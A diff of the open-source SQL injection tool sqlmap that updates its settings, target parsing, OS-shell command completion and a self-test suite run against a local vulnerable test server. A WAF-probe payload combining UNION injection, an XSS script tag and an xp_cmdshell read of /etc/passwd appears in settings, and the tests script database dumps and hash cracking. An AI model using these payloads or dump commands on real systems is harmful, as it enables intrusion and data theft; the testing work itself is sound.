 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
+SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES
 SUPPORTED_OS = ("linux", "windows")
 
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES))
 
 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
 HOST_ALIASES = ("host",)
 
+# DBMSes with upper case identifiers
+UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE))
+
+# Default schemas to use (when unable to enumerate)
 H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
+VERTICA_DEFAULT_SCHEMA = "public"
+MCKOI_DEFAULT_SCHEMA = "APP"
 
 # Names that can't be used to name files on Windows OS
 WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -360,7 +387,10 @@ ERROR_PARSING_REGEXES = (
 META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
 
 # Regular expression used for parsing refresh info from meta html headers
-META_REFRESH_REGEX = r'(?si)<head>(?!.*?<noscript.*?</head).*?<meta http-equiv="?refresh"?[^>]+content="?[^">]+url=["\']?(?P<result>[^\'">]+).*</head>'
+META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*(url=)?["\']?(?P<result>[^\'">]+)'
+
+# Regular expression used for parsing Javascript redirect request
+JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)'
 
 # Regular expression used for parsing empty fields in tested form data
 EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))'
@@ -378,7 +408,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
 BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
 
 # Regex used for parsing XML Burp saved history items
-BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'
+BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
 
 # Encoding used for Unicode data
 UNICODE_ENCODING = "utf8"
@@ -413,6 +443,9 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
 # Character used for marking injectable position inside provided data
 CUSTOM_INJECTION_MARK_CHAR = '*'
 
+# Wildcard value that can be used in option --ignore-code
+IGNORE_CODE_WILDCARD = '*'
+
 # Other way to declare injection position
 INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
 
@@ -476,6 +509,9 @@ GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
 # Prefix for configuration overriding environment variables
 SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
 
+# General OS environment variables that can be used for setting proxy address
+PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")
+
 # Turn off resume console info to avoid potential slowdowns
 TURN_OFF_RESUME_INFO_LIMIT = 20
 
@@ -551,11 +587,11 @@ LAST_UPDATE_NAGGING_DAYS = 60
 # Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
 MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
 
-# Generic address for checking the Internet connection while using switch --check-internet
+# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9)
-CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
+CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json"
 
 # Value to look for in response to CHECK_INTERNET_ADDRESS
-CHECK_INTERNET_VALUE = "IP Address Details"
+CHECK_INTERNET_VALUE = '"ip":'
 
 # Payload used for checking of existence of WAF/IPS (dummier the better)
 IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
@@ -594,6 +630,9 @@ PARSE_HEADERS_LIMIT = 3
 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
 ORDER_BY_STEP = 10
 
+# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections
+ORDER_BY_MAX = 1000
+
 # Maximum number of times for revalidation of a character in inference (as required)
 MAX_REVALIDATION_STEPS = 5
 
@@ -646,7 +685,7 @@ LARGE_OUTPUT_THRESHOLD = 1024 ** 2
 SLOW_ORDER_COUNT_THRESHOLD = 10000
 
 # Give up on hash recognition if nothing was found in first given number of rows
-HASH_RECOGNITION_QUIT_THRESHOLD = 10000
+HASH_RECOGNITION_QUIT_THRESHOLD = 1000
 
 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
 HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
@@ -721,7 +760,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -751,7 +790,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
 XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
 
 # Regular expression used for detecting JSON POST data
-JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
+JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
 
 # Regular expression used for detecting JSON-like POST data
 JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"

lib/core/shell.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -118,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None):
         if os == OS.WINDOWS:
             # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
             completer = CompleterNG({
-                "copy": None, "del": None, "dir": None,
+                "attrib": None, "copy": None, "del": None,
-                "echo": None, "md": None, "mem": None,
+                "dir": None, "echo": None, "fc": None,
+                "label": None, "md": None, "mem": None,
                 "move": None, "net": None, "netstat -na": None,
-                "ver": None, "xcopy": None, "whoami": None,
+                "tree": None, "truename": None, "type": None,
+                "ver": None, "vol": None, "xcopy": None,
             })
 
         else:
             # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
             completer = CompleterNG({
-                "cp": None, "rm": None, "ls": None,
+                "cat": None, "chmod": None, "chown": None,
-                "echo": None, "mkdir": None, "free": None,
+                "cp": None, "cut": None, "date": None, "df": None,
-                "mv": None, "ifconfig": None, "netstat -natu": None,
+                "diff": None, "du": None, "echo": None, "env": None,
-                "pwd": None, "uname": None, "id": None,
+                "file": None, "find": None, "free": None, "grep": None,
+                "id": None, "ifconfig": None, "ls": None, "mkdir": None,
+                "mv": None, "netstat": None, "pwd": None, "rm": None,
+                "uname": None, "whoami": None,
             })
 
         readline.set_completer(completer.complete)

lib/core/subprocessng.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/target.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -106,7 +106,7 @@ def _setRequestParams():
         conf.data = ""
 
     if conf.data is not None:
-        conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
+        conf.method = conf.method or HTTPMETHOD.POST
 
         def process(match, repl):
             retVal = match.group(0)
@@ -125,7 +125,7 @@ def _setRequestParams():
             return retVal
 
         if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
-            message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
+            message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method)
             message += "body. Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
@@ -138,7 +138,7 @@ def _setRequestParams():
                     kb.testOnlyCustom = True
 
         if re.search(JSON_RECOGNITION_REGEX, conf.data):
-            message = "JSON data found in %s data. " % conf.method
+            message = "JSON data found in %s body. " % conf.method
             message += "Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
@@ -162,7 +162,7 @@ def _setRequestParams():
                 kb.postHint = POST_HINT.JSON
 
         elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
-            message = "JSON-like data found in %s data. " % conf.method
+            message = "JSON-like data found in %s body. " % conf.method
             message += "Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
@@ -178,7 +178,7 @@ def _setRequestParams():
                 kb.postHint = POST_HINT.JSON_LIKE
 
         elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
-            message = "Array-like data found in %s data. " % conf.method
+            message = "Array-like data found in %s body. " % conf.method
             message += "Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
@@ -192,7 +192,7 @@ def _setRequestParams():
                 kb.postHint = POST_HINT.ARRAY_LIKE
 
         elif re.search(XML_RECOGNITION_REGEX, conf.data):
-            message = "SOAP/XML data found in %s data. " % conf.method
+            message = "SOAP/XML data found in %s body. " % conf.method
             message += "Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
@@ -207,7 +207,7 @@ def _setRequestParams():
                 kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
 
         elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
-            message = "Multipart-like data found in %s data. " % conf.method
+            message = "Multipart-like data found in %s body. " % conf.method
             message += "Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
@@ -257,6 +257,9 @@ def _setRequestParams():
             kb.processUserMarks = True
 
     for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
+        if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
+            continue
+
         _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
         if kb.customInjectionMark in _:
             if kb.processUserMarks is None:
@@ -398,7 +401,7 @@ def _setRequestParams():
         raise SqlmapGenericException(errMsg)
 
     if conf.csrfToken:
-        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
             errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
             errMsg += "found in provided GET, POST, Cookie or header values"
             raise SqlmapGenericException(errMsg)
@@ -561,16 +564,18 @@ def _setResultsFile():
         return
 
     if not conf.resultsFP:
-        conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
+        conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
+        found = os.path.exists(conf.resultsFile)
+
         try:
-            conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
+            conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0)
         except (OSError, IOError) as ex:
             try:
-                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
+                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex))
-                handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
+                handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
                 os.close(handle)
-                conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
+                conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0)
-                warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
+                warnMsg += "Using temporary file '%s' instead" % conf.resultsFile
                 logger.warn(warnMsg)
             except IOError as _:
                 errMsg = "unable to write to the temporary directory ('%s'). " % _
@@ -579,9 +584,10 @@ def _setResultsFile():
                 errMsg += "create temporary files and/or directories"
                 raise SqlmapSystemException(errMsg)
 
-        conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
+        if not found:
+            conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
 
-        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)
+        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile)
 
 def _createFilesDir():
     """

lib/core/testing.py

@@ -1,59 +1,39 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
 from __future__ import division
 
-import codecs
 import doctest
 import logging
 import os
 import random
 import re
-import shutil
+import socket
+import sqlite3
 import sys
 import tempfile
 import threading
 import time
-import traceback
 
-from extra.beep.beep import beep
 from extra.vulnserver import vulnserver
-from lib.controller.controller import start
 from lib.core.common import clearColors
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import randomInt
 from lib.core.common import randomStr
-from lib.core.common import readXmlFile
 from lib.core.common import shellExec
 from lib.core.compat import round
 from lib.core.compat import xrange
-from lib.core.convert import getUnicode
+from lib.core.convert import encodeBase64
-from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.data import queries
-from lib.core.enums import MKSTEMP_PREFIX
-from lib.core.exception import SqlmapBaseException
-from lib.core.exception import SqlmapNotVulnerableException
-from lib.core.log import LOGGER_HANDLER
-from lib.core.option import init
-from lib.core.option import initOptions
-from lib.core.option import setVerbosity
-from lib.core.optiondict import optDict
-from lib.core.settings import UNICODE_ENCODING
-from lib.parse.cmdline import cmdLineParser
 
-class Failures(object):
-    failedItems = None
-    failedParseOn = None
-    failedTraceBack = None
-
-_failures = Failures()
 _rand = 0
 
 def vulnTest():
@@ -61,8 +41,38 @@ def vulnTest():
     Runs the testing against 'vulnserver'
     """
 
+    TESTS = (
+        ("-h", ("to see full list of options run with '-hh'",)),
+        ("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
+        (u"-c <config> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
+        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
+        ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
+        ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
+        ("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
+        ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
+        ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
+        ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
+        ("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
+        ("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
+        ("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
+        ("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
+        ("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
+        ("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
+        ("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
+        ("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
+        ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
+        ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
+        ("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
+        ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
+        ("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
+        ("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
+        ("-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
+        ("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
+        ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
+    )
+
     retVal = True
-    count, length = 0, 6
+    count = 0
     address, port = "127.0.0.10", random.randint(1025, 65535)
 
     def _thread():
@@ -73,25 +83,54 @@ def vulnTest():
     thread.daemon = True
     thread.start()
 
-    for options, checks in (
+    while True:
-        ("--flush-session", ("CloudFlare",)),
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        ("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")),
+        try:
-        ("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
+            s.connect((address, port))
-        ("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
+            break
-        ("-z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)),
+        except:
-        ("--technique=T --fresh-queries --sql-query=\"SELECT 1234\"", (": '1234'",)),
+            time.sleep(1)
-    ):
+
-        cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), address, port, options)
+    handle, config = tempfile.mkstemp(suffix=".conf")
+    os.close(handle)
+
+    handle, database = tempfile.mkstemp(suffix=".sqlite")
+    os.close(handle)
+
+    with sqlite3.connect(database) as conn:
+        c = conn.cursor()
+        c.executescript(vulnserver.SCHEMA)
+
+    handle, request = tempfile.mkstemp(suffix=".req")
+    os.close(handle)
+
+    handle, log = tempfile.mkstemp(suffix=".log")
+    os.close(handle)
+
+    content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
+
+    open(request, "w+").write(content)
+    open(log, "w+").write('<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))
+
+    url = "http://%s:%d/?id=1" % (address, port)
+    direct = "sqlite3://%s" % database
+
+    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
+    open(config, "w+").write(content)
+
+    for options, checks in TESTS:
+        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
+        dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
+
+        cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
         output = shellExec(cmd)
 
-        if not all(check in output for check in checks):
+        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
             dataToStdout("---\n\n$ %s\n" % cmd)
             dataToStdout("%s---\n" % clearColors(output))
             retVal = False
 
         count += 1
-        status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
-        dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
 
     clearConsoleLine()
     if retVal:
@@ -101,6 +140,67 @@ def vulnTest():
 
     return retVal
 
+def fuzzTest():
+    count = 0
+    address, port = "127.0.0.10", random.randint(1025, 65535)
+
+    def _thread():
+        vulnserver.init(quiet=True)
+        vulnserver.run(address=address, port=port)
+
+    thread = threading.Thread(target=_thread)
+    thread.daemon = True
+    thread.start()
+
+    while True:
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        try:
+            s.connect((address, port))
+            break
+        except:
+            time.sleep(1)
+
+    handle, config = tempfile.mkstemp(suffix=".conf")
+    os.close(handle)
+
+    url = "http://%s:%d/?id=1" % (address, port)
+
+    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
+    open(config, "w+").write(content)
+
+    while True:
+        lines = content.split("\n")
+
+        for i in xrange(20):
+            j = random.randint(0, len(lines) - 1)
+
+            if any(_ in lines[j] for _ in ("googleDork",)):
+                continue
+
+            if lines[j].strip().endswith('='):
+                lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0]
+
+            k = random.randint(0, len(lines) - 1)
+            if '=' in lines[k]:
+                lines[k] += chr(random.randint(0, 255))
+
+        open(config, "w+").write("\n".join(lines))
+
+        cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0])
+        output = shellExec(cmd)
+
+        if "Traceback" in output:
+            dataToStdout("---\n\n$ %s\n" % cmd)
+            dataToStdout("%s---\n" % clearColors(output))
+
+            handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
+            os.close(handle)
+            open(config, "w+").write("\n".join(lines))
+        else:
+            dataToStdout("\r%d\r" % count)
+
+        count += 1
+
 def dirtyPatchRandom():
     """
     Unifying random generated data across different Python versions
@@ -140,6 +240,15 @@ def smokeTest():
 
     dirtyPatchRandom()
 
+    content = open(paths.ERRORS_XML, "r").read()
